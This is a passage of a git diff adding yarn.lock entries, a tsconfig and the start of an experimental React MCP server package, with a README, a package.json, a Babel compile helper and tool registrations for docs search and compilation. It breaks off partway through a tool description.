+  integrity sha512-30iZtAPgz+LTIYoeivqYo853f02jBYSd5uGnGpkFV0M3xOt9aN73erkgYAmZU43x4VfqcnLxW9Kpg3R5LC4YYw==
+  dependencies:
+    "@jridgewell/gen-mapping" "^0.3.5"
+    "@jridgewell/trace-mapping" "^0.3.24"
+
+"@babel/code-frame@^7.25.9", "@babel/code-frame@^7.26.0", "@babel/code-frame@^7.26.2":
+  version "7.26.2"
+  resolved "https://registry.yarnpkg.com/@babel/code-frame/-/code-frame-7.26.2.tgz#4b5fab97d33338eff916235055f0ebc21e573a85"
+  integrity sha512-RJlIHRueQgwWitWgF8OdFYGZX328Ax5BCemNGlqHfplnRT9ESi8JkFlvaVYbS+UubVY6dpv87Fs2u5M29iNFVQ==
+  dependencies:
+    "@babel/helper-validator-identifier" "^7.25.9"
+    js-tokens "^4.0.0"
+    picocolors "^1.0.0"
+
+"@babel/compat-data@^7.25.9":
+  version "7.26.3"
+  resolved "https://registry.yarnpkg.com/@babel/compat-data/-/compat-data-7.26.3.tgz#99488264a56b2aded63983abd6a417f03b92ed02"
+  integrity sha512-nHIxvKPniQXpmQLb0vhY3VaFb3S0YrTAwpOWJZh1wn3oJPjJk9Asva204PsBdmAE8vpzfHudT8DB0scYvy9q0g==
+
+"@babel/core@^7.26.0":
+  version "7.26.0"
+  resolved "https://registry.yarnpkg.com/@babel/core/-/core-7.26.0.tgz#d78b6023cc8f3114ccf049eb219613f74a747b40"
+  integrity sha512-i1SLeK+DzNnQ3LL/CswPCa/E5u4lh1k6IAEphON8F+cXt0t9euTshDru0q7/IqMa1PMPz5RnHuHscF8/ZJsStg==
+  dependencies:
+    "@ampproject/remapping" "^2.2.0"
+    "@babel/code-frame" "^7.26.0"
+    "@babel/generator" "^7.26.0"
+    "@babel/helper-compilation-targets" "^7.25.9"
+    "@babel/helper-module-transforms" "^7.26.0"
+    "@babel/helpers" "^7.26.0"
+    "@babel/parser" "^7.26.0"
+    "@babel/template" "^7.25.9"
+    "@babel/traverse" "^7.25.9"
+    "@babel/types" "^7.26.0"
+    convert-source-map "^2.0.0"
+    debug "^4.1.0"
+    gensync "^1.0.0-beta.2"
+    json5 "^2.2.3"
+    semver "^6.3.1"
+
+"@babel/generator@^7.26.0", "@babel/generator@^7.26.3":
+  version "7.26.3"
+  resolved "https://registry.yarnpkg.com/@babel/generator/-/generator-7.26.3.tgz#ab8d4360544a425c90c248df7059881f4b2ce019"
+  integrity sha512-6FF/urZvD0sTeO7k6/B15pMLC4CHUv1426lzr3N01aHJTl046uCAh9LXW/fzeXXjPNCJ6iABW5XaWOsIZB93aQ==
+  dependencies:
+    "@babel/parser" "^7.26.3"
+    "@babel/types" "^7.26.3"
+    "@jridgewell/gen-mapping" "^0.3.5"
+    "@jridgewell/trace-mapping" "^0.3.25"
+    jsesc "^3.0.2"
+
+"@babel/helper-compilation-targets@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-compilation-targets/-/helper-compilation-targets-7.25.9.tgz#55af025ce365be3cdc0c1c1e56c6af617ce88875"
+  integrity sha512-j9Db8Suy6yV/VHa4qzrj9yZfZxhLWQdVnRlXxmKLYlhWUVB1sB2G5sxuWYXk/whHD9iW76PmNzxZ4UCnTQTVEQ==
+  dependencies:
+    "@babel/compat-data" "^7.25.9"
+    "@babel/helper-validator-option" "^7.25.9"
+    browserslist "^4.24.0"
+    lru-cache "^5.1.1"
+    semver "^6.3.1"
+
+"@babel/helper-module-imports@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-module-imports/-/helper-module-imports-7.25.9.tgz#e7f8d20602ebdbf9ebbea0a0751fb0f2a4141715"
+  integrity sha512-tnUA4RsrmflIM6W6RFTLFSXITtl0wKjgpnLgXyowocVPrbYrLUXSBXDgTs8BlbmIzIdlBySRQjINYs2BAkiLtw==
+  dependencies:
+    "@babel/traverse" "^7.25.9"
+    "@babel/types" "^7.25.9"
+
+"@babel/helper-module-transforms@^7.26.0":
+  version "7.26.0"
+  resolved "https://registry.yarnpkg.com/@babel/helper-module-transforms/-/helper-module-transforms-7.26.0.tgz#8ce54ec9d592695e58d84cd884b7b5c6a2fdeeae"
+  integrity sha512-xO+xu6B5K2czEnQye6BHA7DolFFmS3LB7stHZFaOLb1pAwO1HWLS8fXA+eh0A2yIvltPVmx3eNNDBJA2SLHXFw==
+  dependencies:
+    "@babel/helper-module-imports" "^7.25.9"
+    "@babel/helper-validator-identifier" "^7.25.9"
+    "@babel/traverse" "^7.25.9"
+
+"@babel/helper-plugin-utils@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-plugin-utils/-/helper-plugin-utils-7.25.9.tgz#9cbdd63a9443a2c92a725cca7ebca12cc8dd9f46"
+  integrity sha512-kSMlyUVdWe25rEsRGviIgOWnoT/nfABVWlqt9N19/dIPWViAOW2s9wznP5tURbs/IDuNk4gPy3YdYRgH3uxhBw==
+
+"@babel/helper-string-parser@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-string-parser/-/helper-string-parser-7.25.9.tgz#1aabb72ee72ed35789b4bbcad3ca2862ce614e8c"
+  integrity sha512-4A/SCr/2KLd5jrtOMFzaKjVtAei3+2r/NChoBNoZ3EyP/+GlhoaEGoWOZUmFmoITP7zOJyHIMm+DYRd8o3PvHA==
+
+"@babel/helper-validator-identifier@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.25.9.tgz#24b64e2c3ec7cd3b3c547729b8d16871f22cbdc7"
+  integrity sha512-Ed61U6XJc3CVRfkERJWDz4dJwKe7iLmmJsbOGu9wSloNSFttHV0I8g6UAgb7qnK5ly5bGLPd4oXZlxCdANBOWQ==
+
+"@babel/helper-validator-option@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-validator-option/-/helper-validator-option-7.25.9.tgz#86e45bd8a49ab7e03f276577f96179653d41da72"
+  integrity sha512-e/zv1co8pp55dNdEcCynfj9X7nyUKUXoUEwfXqaZt0omVOmDe9oOTdKStH4GmAw6zxMFs50ZayuMfHDKlO7Tfw==
+
+"@babel/helpers@^7.26.0":
+  version "7.26.0"
+  resolved "https://registry.yarnpkg.com/@babel/helpers/-/helpers-7.26.0.tgz#30e621f1eba5aa45fe6f4868d2e9154d884119a4"
+  integrity sha512-tbhNuIxNcVb21pInl3ZSjksLCvgdZy9KwJ8brv993QtIVKJBBkYXz4q4ZbAv31GdnC+R90np23L5FbEBlthAEw==
+  dependencies:
+    "@babel/template" "^7.25.9"
+    "@babel/types" "^7.26.0"
+
+"@babel/parser@^7.25.9", "@babel/parser@^7.26.0", "@babel/parser@^7.26.3":
+  version "7.26.3"
+  resolved "https://registry.yarnpkg.com/@babel/parser/-/parser-7.26.3.tgz#8c51c5db6ddf08134af1ddbacf16aaab48bac234"
+  integrity sha512-WJ/CvmY8Mea8iDXo6a7RK2wbmJITT5fN3BEkRuFlxVyNx8jOKIIhmC4fSkTcPcf8JyavbBwIe6OpiCOBXt/IcA==
+  dependencies:
+    "@babel/types" "^7.26.3"
+
+"@babel/plugin-syntax-typescript@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.25.9.tgz#67dda2b74da43727cf21d46cf9afef23f4365399"
+  integrity sha512-hjMgRy5hb8uJJjUcdWunWVcoi9bGpJp8p5Ol1229PoN6aytsLwNMgmdftO23wnCLMfVmTwZDWMPNq/D1SY60JQ==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/template@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/template/-/template-7.25.9.tgz#ecb62d81a8a6f5dc5fe8abfc3901fc52ddf15016"
+  integrity sha512-9DGttpmPvIxBb/2uwpVo3dqJ+O6RooAFOS+lB+xDqoE2PVCE8nfoHMdZLpfCQRLwvohzXISPZcgxt80xLfsuwg==
+  dependencies:
+    "@babel/code-frame" "^7.25.9"
+    "@babel/parser" "^7.25.9"
+    "@babel/types" "^7.25.9"
+
+"@babel/traverse@^7.25.9":
+  version "7.26.4"
+  resolved "https://registry.yarnpkg.com/@babel/traverse/-/traverse-7.26.4.tgz#ac3a2a84b908dde6d463c3bfa2c5fdc1653574bd"
+  integrity sha512-fH+b7Y4p3yqvApJALCPJcwb0/XaOSgtK4pzV6WVjPR5GLFQBRI7pfoX2V2iM48NXvX07NUxxm1Vw98YjqTcU5w==
+  dependencies:
+    "@babel/code-frame" "^7.26.2"
+    "@babel/generator" "^7.26.3"
+    "@babel/parser" "^7.26.3"
+    "@babel/template" "^7.25.9"
+    "@babel/types" "^7.26.3"
+    debug "^4.3.1"
+    globals "^11.1.0"
+
+"@babel/types@^7.25.9", "@babel/types@^7.26.0", "@babel/types@^7.26.3":
+  version "7.26.3"
+  resolved "https://registry.yarnpkg.com/@babel/types/-/types-7.26.3.tgz#37e79830f04c2b5687acc77db97fbc75fb81f3c0"
+  integrity sha512-vN5p+1kl59GVKMvTHt55NzzmYVxprfJD+ql7U9NFIfKCBkYE55LYtS+WtPlaYOyzydrKI8Nezd+aZextrd+FMA==
+  dependencies:
+    "@babel/helper-string-parser" "^7.25.9"
+    "@babel/helper-validator-identifier" "^7.25.9"
+
+"@jridgewell/gen-mapping@^0.3.5":
+  version "0.3.8"
+  resolved "https://registry.yarnpkg.com/@jridgewell/gen-mapping/-/gen-mapping-0.3.8.tgz#4f0e06362e01362f823d348f1872b08f666d8142"
+  integrity sha512-imAbBGkb+ebQyxKgzv5Hu2nmROxoDOXHh80evxdoXNOrvAnVx7zimzc1Oo5h9RlfV4vPXaE2iM5pOFbvOCClWA==
+  dependencies:
+    "@jridgewell/set-array" "^1.2.1"
+    "@jridgewell/sourcemap-codec" "^1.4.10"
+    "@jridgewell/trace-mapping" "^0.3.24"
+
+"@jridgewell/resolve-uri@^3.1.0":
+  version "3.1.2"
+  resolved "https://registry.yarnpkg.com/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz#7a0ee601f60f99a20c7c7c5ff0c80388c1189bd6"
+  integrity sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==
+
+"@jridgewell/set-array@^1.2.1":
+  version "1.2.1"
+  resolved "https://registry.yarnpkg.com/@jridgewell/set-array/-/set-array-1.2.1.tgz#558fb6472ed16a4c850b889530e6b36438c49280"
+  integrity sha512-R8gLRTZeyp03ymzP/6Lil/28tGeGEzhx1q2k703KGWRAI1VdvPIXdG70VJc2pAMw3NA6JKL5hhFu1sJX0Mnn/A==
+
+"@jridgewell/sourcemap-codec@^1.4.10", "@jridgewell/sourcemap-codec@^1.4.14":
+  version "1.5.0"
+  resolved "https://registry.yarnpkg.com/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.0.tgz#3188bcb273a414b0d215fd22a58540b989b9409a"
+  integrity sha512-gv3ZRaISU3fjPAgNsriBRqGWQL6quFx04YMPW/zD8XMLsU32mhCCbfbO6KZFLjvYpCZ8zyDEgqsgf+PwPaM7GQ==
+
+"@jridgewell/trace-mapping@^0.3.24", "@jridgewell/trace-mapping@^0.3.25":
+  version "0.3.25"
+  resolved "https://registry.yarnpkg.com/@jridgewell/trace-mapping/-/trace-mapping-0.3.25.tgz#15f190e98895f3fc23276ee14bc76b675c2e50f0"
+  integrity sha512-vNk6aEwybGtawWmy/PzwnGDOjCkLWSD2wqvjGGAgOAwCGWySYXfYoxt00IJkTF+8Lb57DwOb3Aa0o9CApepiYQ==
+  dependencies:
+    "@jridgewell/resolve-uri" "^3.1.0"
+    "@jridgewell/sourcemap-codec" "^1.4.14"
+
+browserslist@^4.24.0:
+  version "4.24.3"
+  resolved "https://registry.yarnpkg.com/browserslist/-/browserslist-4.24.3.tgz#5fc2725ca8fb3c1432e13dac278c7cc103e026d2"
+  integrity sha512-1CPmv8iobE2fyRMV97dAcMVegvvWKxmq94hkLiAkUGwKVTyDLw33K+ZxiFrREKmmps4rIw6grcCFCnTMSZ/YiA==
+  dependencies:
+    caniuse-lite "^1.0.30001688"
+    electron-to-chromium "^1.5.73"
+    node-releases "^2.0.19"
+    update-browserslist-db "^1.1.1"
+
+caniuse-lite@^1.0.30001688:
+  version "1.0.30001690"
+  resolved "https://registry.yarnpkg.com/caniuse-lite/-/caniuse-lite-1.0.30001690.tgz#f2d15e3aaf8e18f76b2b8c1481abde063b8104c8"
+  integrity sha512-5ExiE3qQN6oF8Clf8ifIDcMRCRE/dMGcETG/XGMD8/XiXm6HXQgQTh1yZYLXXpSOsEUlJm1Xr7kGULZTuGtP/w==
+
+convert-source-map@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/convert-source-map/-/convert-source-map-2.0.0.tgz#4b560f649fc4e918dd0ab75cf4961e8bc882d82a"
+  integrity sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==
+
+debug@^4.1.0, debug@^4.3.1:
+  version "4.4.0"
+  resolved "https://registry.yarnpkg.com/debug/-/debug-4.4.0.tgz#2b3f2aea2ffeb776477460267377dc8710faba8a"
+  integrity sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA==
+  dependencies:
+    ms "^2.1.3"
+
+electron-to-chromium@^1.5.73:
+  version "1.5.74"
+  resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.5.74.tgz#cb886b504a6467e4c00bea3317edb38393c53413"
+  integrity sha512-ck3//9RC+6oss/1Bh9tiAVFy5vfSKbRHAFh7Z3/eTRkEqJeWgymloShB17Vg3Z4nmDNp35vAd1BZ6CMW4Wt6Iw==
+
+escalade@^3.2.0:
+  version "3.2.0"
+  resolved "https://registry.yarnpkg.com/escalade/-/escalade-3.2.0.tgz#011a3f69856ba189dffa7dc8fcce99d2a87903e5"
+  integrity sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==
+
+gensync@^1.0.0-beta.2:
+  version "1.0.0-beta.2"
+  resolved "https://registry.yarnpkg.com/gensync/-/gensync-1.0.0-beta.2.tgz#32a6ee76c3d7f52d46b2b1ae5d93fea8580a25e0"
+  integrity sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==
+
+globals@^11.1.0:
+  version "11.12.0"
+  resolved "https://registry.yarnpkg.com/globals/-/globals-11.12.0.tgz#ab8795338868a0babd8525758018c2a7eb95c42e"
+  integrity sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==
+
+js-tokens@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/js-tokens/-/js-tokens-4.0.0.tgz#19203fb59991df98e3a287050d4647cdeaf32499"
+  integrity sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==
+
+jsesc@^3.0.2:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/jsesc/-/jsesc-3.1.0.tgz#74d335a234f67ed19907fdadfac7ccf9d409825d"
+  integrity sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==
+
+json5@^2.2.3:
+  version "2.2.3"
+  resolved "https://registry.yarnpkg.com/json5/-/json5-2.2.3.tgz#78cd6f1a19bdc12b73db5ad0c61efd66c1e29283"
+  integrity sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==
+
+lru-cache@^5.1.1:
+  version "5.1.1"
+  resolved "https://registry.yarnpkg.com/lru-cache/-/lru-cache-5.1.1.tgz#1da27e6710271947695daf6848e847f01d84b920"
+  integrity sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==
+  dependencies:
+    yallist "^3.0.2"
+
+ms@^2.1.3:
+  version "2.1.3"
+  resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.3.tgz#574c8138ce1d2b5861f0b44579dbadd60c6615b2"
+  integrity sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==
+
+node-releases@^2.0.19:
+  version "2.0.19"
+  resolved "https://registry.yarnpkg.com/node-releases/-/node-releases-2.0.19.tgz#9e445a52950951ec4d177d843af370b411caf314"
+  integrity sha512-xxOWJsBKtzAq7DY0J+DTzuz58K8e7sJbdgwkbMWQe8UYB6ekmsQ45q0M/tJDsGaZmbC+l7n57UV8Hl5tHxO9uw==
+
+picocolors@^1.0.0, picocolors@^1.1.0:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/picocolors/-/picocolors-1.1.1.tgz#3d321af3eab939b083c8f929a1d12cda81c26b6b"
+  integrity sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==
+
+prettier@^3.3.3:
+  version "3.4.2"
+  resolved "https://registry.yarnpkg.com/prettier/-/prettier-3.4.2.tgz#a5ce1fb522a588bf2b78ca44c6e6fe5aa5a2b13f"
+  integrity sha512-e9MewbtFo+Fevyuxn/4rrcDAaq0IYxPGLvObpQjiZBMAzB9IGmzlnG9RZy3FFas+eBMu2vA0CszMeduow5dIuQ==
+
+semver@^6.3.1:
+  version "6.3.1"
+  resolved "https://registry.yarnpkg.com/semver/-/semver-6.3.1.tgz#556d2ef8689146e46dcea4bfdd095f3434dffcb4"
+  integrity sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==
+
+update-browserslist-db@^1.1.1:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/update-browserslist-db/-/update-browserslist-db-1.1.1.tgz#80846fba1d79e82547fb661f8d141e0945755fe5"
+  integrity sha512-R8UzCaa9Az+38REPiJ1tXlImTJXlVfgHZsglwBD/k6nj76ctsH1E3q4doGrukiLQd3sGQYu56r5+lo5r94l29A==
+  dependencies:
+    escalade "^3.2.0"
+    picocolors "^1.1.0"
+
+vscode-jsonrpc@8.2.0:
+  version "8.2.0"
+  resolved "https://registry.yarnpkg.com/vscode-jsonrpc/-/vscode-jsonrpc-8.2.0.tgz#f43dfa35fb51e763d17cd94dcca0c9458f35abf9"
+  integrity sha512-C+r0eKJUIfiDIfwJhria30+TYWPtuHJXHtI7J0YlOmKAo7ogxP20T0zxB7HZQIFhIyvoBPwWskjxrvAtfjyZfA==
+
+vscode-languageserver-protocol@3.17.5:
+  version "3.17.5"
+  resolved "https://registry.yarnpkg.com/vscode-languageserver-protocol/-/vscode-languageserver-protocol-3.17.5.tgz#864a8b8f390835572f4e13bd9f8313d0e3ac4bea"
+  integrity sha512-mb1bvRJN8SVznADSGWM9u/b07H7Ecg0I3OgXDuLdn307rl/J3A9YD6/eYOssqhecL27hK1IPZAsaqh00i/Jljg==
+  dependencies:
+    vscode-jsonrpc "8.2.0"
+    vscode-languageserver-types "3.17.5"
+
+vscode-languageserver-textdocument@^1.0.12:
+  version "1.0.12"
+  resolved "https://registry.yarnpkg.com/vscode-languageserver-textdocument/-/vscode-languageserver-textdocument-1.0.12.tgz#457ee04271ab38998a093c68c2342f53f6e4a631"
+  integrity sha512-cxWNPesCnQCcMPeenjKKsOCKQZ/L6Tv19DTRIGuLWe32lyzWhihGVJ/rcckZXJxfdKCFvRLS3fpBIsV/ZGX4zA==
+
+vscode-languageserver-types@3.17.5:
+  version "3.17.5"
+  resolved "https://registry.yarnpkg.com/vscode-languageserver-types/-/vscode-languageserver-types-3.17.5.tgz#3273676f0cf2eab40b3f44d085acbb7f08a39d8a"
+  integrity sha512-Ld1VelNuX9pdF39h2Hgaeb5hEZM2Z3jUrrMgWQAu82jMtZp7p3vJT3BzToKtZI7NgQssZje5o0zryOrhQvzQAg==
+
+vscode-languageserver@^9.0.1:
+  version "9.0.1"
+  resolved "https://registry.yarnpkg.com/vscode-languageserver/-/vscode-languageserver-9.0.1.tgz#500aef82097eb94df90d008678b0b6b5f474015b"
+  integrity sha512-woByF3PDpkHFUreUa7Hos7+pUWdeWMXRd26+ZX2A8cFx6v/JPTtd4/uN0/jB6XQHYaOlHbio03NTHCqrgG5n7g==
+  dependencies:
+    vscode-languageserver-protocol "3.17.5"
+
+yallist@^3.0.2:
+  version "3.1.1"
+  resolved "https://registry.yarnpkg.com/yallist/-/yallist-3.1.1.tgz#dbb7daf9bfd8bac9ab45ebf602b8cbad0d5d08fd"
+  integrity sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==
diff --git a/compiler/packages/react-forgive/tsconfig.json b/compiler/packages/react-forgive/tsconfig.json
new file mode 100644
index 000000000000..6aeffaeb354d
--- /dev/null
+++ b/compiler/packages/react-forgive/tsconfig.json
@@ -0,0 +1,16 @@
+{
+  "extends": "@tsconfig/strictest/tsconfig.json",
+  "compilerOptions": {
+    "module": "Node16",
+    "moduleResolution": "Node16",
+    "rootDir": "../",
+    "noEmit": true,
+    "jsx": "react-jsxdev",
+    "lib": ["ES2022"],
+
+    "target": "ES2022",
+    "importsNotUsedAsValues": "remove",
+  },
+  "exclude": ["node_modules"],
+  "include": ["server/src/**/*.ts", "client/src/**/*.ts"],
+}
diff --git a/compiler/packages/react-mcp-server/README.md b/compiler/packages/react-mcp-server/README.md
new file mode 100644
index 000000000000..ec4f398942dd
--- /dev/null
+++ b/compiler/packages/react-mcp-server/README.md
@@ -0,0 +1,22 @@
+# React MCP Server (experimental)
+
+An experimental MCP Server for React.
+
+## Development
+
+First, add this file if you're using Claude Desktop: `code ~/Library/Application\ Support/Claude/claude_desktop_config.json`. Copy the absolute path from `which node` and from `react/compiler/react-mcp-server/dist/index.js` and paste, for example:
+
+```json
+{
+  "mcpServers": {
+    "react": {
+      "command": "/Users/<username>/.asdf/shims/node",
+      "args": [
+        "/Users/<username>/code/react/compiler/packages/react-mcp-server/dist/index.js"
+      ]
+    }
+  }
+}
+```
+
+Next, run `yarn workspace react-mcp-server watch` from the `react/compiler` directory and make changes as needed. You will need to restart Claude everytime you want to try your changes.
diff --git a/compiler/packages/react-mcp-server/package.json b/compiler/packages/react-mcp-server/package.json
new file mode 100644
index 000000000000..07dc378de12e
--- /dev/null
+++ b/compiler/packages/react-mcp-server/package.json
@@ -0,0 +1,41 @@
+{
+  "name": "react-mcp-server",
+  "version": "0.0.0",
+  "description": "React MCP Server (experimental)",
+  "bin": {
+    "react-mcp-server": "./dist/index.js"
+  },
+  "scripts": {
+    "build": "rimraf dist && tsup",
+    "test": "echo 'no tests'",
+    "dev": "concurrently --kill-others -n build,inspect \"yarn run watch\" \"wait-on dist/index.js && yarn run inspect\"",
+    "inspect": "npx @modelcontextprotocol/inspector node dist/index.js",
+    "watch": "yarn build --watch"
+  },
+  "dependencies": {
+    "@babel/core": "^7.26.0",
+    "@babel/parser": "^7.26",
+    "@babel/preset-env": "^7.26.9",
+    "@babel/preset-react": "^7.18.6",
+    "@babel/preset-typescript": "^7.27.1",
+    "@modelcontextprotocol/sdk": "^1.9.0",
+    "algoliasearch": "^5.23.3",
+    "cheerio": "^1.0.0",
+    "html-to-text": "^9.0.5",
+    "prettier": "^3.3.3",
+    "puppeteer": "^24.7.2",
+    "zod": "^3.25.0 || ^4.0.0"
+  },
+  "devDependencies": {
+    "@types/html-to-text": "^9.0.4",
+    "@types/jest": "^29.5.14",
+    "jest": "^29.7.0",
+    "ts-jest": "^29.3.2"
+  },
+  "license": "MIT",
+  "repository": {
+    "type": "git",
+    "url": "git+https://github.com/facebook/react.git",
+    "directory": "compiler/packages/react-mcp-server"
+  }
+}
diff --git a/compiler/packages/react-mcp-server/src/compiler/index.ts b/compiler/packages/react-mcp-server/src/compiler/index.ts
new file mode 100644
index 000000000000..96af7a182bd9
--- /dev/null
+++ b/compiler/packages/react-mcp-server/src/compiler/index.ts
@@ -0,0 +1,77 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import type * as BabelCore from '@babel/core';
+import {parseAsync, transformFromAstAsync} from '@babel/core';
+import BabelPluginReactCompiler, {
+  type PluginOptions,
+} from 'babel-plugin-react-compiler/src';
+import * as prettier from 'prettier';
+
+export let lastResult: BabelCore.BabelFileResult | null = null;
+
+export type PrintedCompilerPipelineValue =
+  | {
+      kind: 'hir';
+      name: string;
+      fnName: string | null;
+      value: string;
+    }
+  | {kind: 'reactive'; name: string; fnName: string | null; value: string}
+  | {kind: 'debug'; name: string; fnName: string | null; value: string};
+
+type CompileOptions = {
+  text: string;
+  file: string;
+  options: PluginOptions | null;
+};
+export async function compile({
+  text,
+  file,
+  options,
+}: CompileOptions): Promise<BabelCore.BabelFileResult> {
+  const ast = await parseAsync(text, {
+    sourceFileName: file,
+    parserOpts: {
+      plugins: ['typescript', 'jsx'],
+    },
+    sourceType: 'module',
+  });
+  if (ast == null) {
+    throw new Error('Could not parse');
+  }
+  const plugins =
+    options != null
+      ? [[BabelPluginReactCompiler, options]]
+      : [[BabelPluginReactCompiler]];
+  const result = await transformFromAstAsync(ast, text, {
+    filename: file,
+    highlightCode: false,
+    retainLines: true,
+    plugins,
+    sourceType: 'module',
+    sourceFileName: file,
+  });
+  if (result?.code == null) {
+    throw new Error(
+      `Expected BabelPluginReactCompiler to compile successfully, got ${result}`,
+    );
+  }
+  try {
+    result.code = await prettier.format(result.code, {
+      semi: false,
+      parser: 'babel-ts',
+    });
+    if (result.code != null) {
+      lastResult = result;
+    }
+  } catch (err) {
+    // If prettier failed just log, no need to crash
+    console.error(err);
+  }
+  return result;
+}
diff --git a/compiler/packages/react-mcp-server/src/index.ts b/compiler/packages/react-mcp-server/src/index.ts
new file mode 100644
index 000000000000..e5bd794107dc
--- /dev/null
+++ b/compiler/packages/react-mcp-server/src/index.ts
@@ -0,0 +1,497 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {McpServer} from '@modelcontextprotocol/sdk/server/mcp.js';
+import {StdioServerTransport} from '@modelcontextprotocol/sdk/server/stdio.js';
+import {z} from 'zod/v4';
+import {compile, type PrintedCompilerPipelineValue} from './compiler';
+import {
+  CompilerPipelineValue,
+  printReactiveFunctionWithOutlined,
+  printFunctionWithOutlined,
+  PluginOptions,
+  SourceLocation,
+} from 'babel-plugin-react-compiler/src';
+import * as cheerio from 'cheerio';
+import {queryAlgolia} from './utils/algolia';
+import assertExhaustive from './utils/assertExhaustive';
+import {convert} from 'html-to-text';
+import {measurePerformance} from './tools/runtimePerf';
+import {parseReactComponentTree} from './tools/componentTree';
+
+function calculateMean(values: number[]): string {
+  return values.length > 0
+    ? values.reduce((acc, curr) => acc + curr, 0) / values.length + 'ms'
+    : 'could not collect';
+}
+
+const server = new McpServer({
+  name: 'React',
+  version: '0.0.0',
+});
+
+server.tool(
+  'query-react-dev-docs',
+  'This tool lets you search for official docs from react.dev. This always has the most up to date information on React. You can look for documentation on APIs such as <ViewTransition>, <Activity>, and hooks like useOptimistic, useSyncExternalStore, useTransition, and more. Whenever you think hard about React, use this tool to get more information before proceeding.',
+  {
+    query: z.string(),
+  },
+  async ({query}) => {
+    try {
+      const pages = await queryAlgolia(query);
+      if (pages.length === 0) {
+        return {
+          content: [{type: 'text' as const, text: `No results`}],
+        };
+      }
+      const content = pages.map(html => {
+        const $ = cheerio.load(html);
+        // react.dev should always have at least one <article> with the main content
+        const article = $('article').html();
+        if (article != null) {
+          return {
+            type: 'text' as const,
+            text: convert(article),
+          };
+        } else {
+          return {
+            type: 'text' as const,
+            // Fallback to converting the whole page to text.
+            text: convert($.html()),
+          };
+        }
+      });
+      return {
+        content,
+      };
+    } catch (err) {
+      return {
+        isError: true,
+        content: [{type: 'text' as const, text: `Error: ${err.stack}`}],
+      };
+    }
+  },
+);
+
+server.tool(
+  'compile',
+  `Compile code with React Compiler. This tool will return the compiled output, which is automatically memoized React components and hooks, written in JavaScript or TypeScript. You can run this tool whenever you want to check if some React code will compile successfully. You can also run this tool every time you make a suggestion to code, to see how it affects the compiled output. If the compiler returns a diagnostic message, you should read the diagnostic message and try to fix the code and run the compiler again to verify. After compiling code successfully, you should run it through the review-react-runtime to verify the compiled code is faster than the original.
+
+  <bailouts>
+  When you encounter a bailout or diagnostic message, first think and try to understand where the error is coming from. You can use tools such as puppeteer if available to browse the documentation links provided in the diagnostic, and then read that information to understand the error in more detail. You can propose fixes after doing so.
+
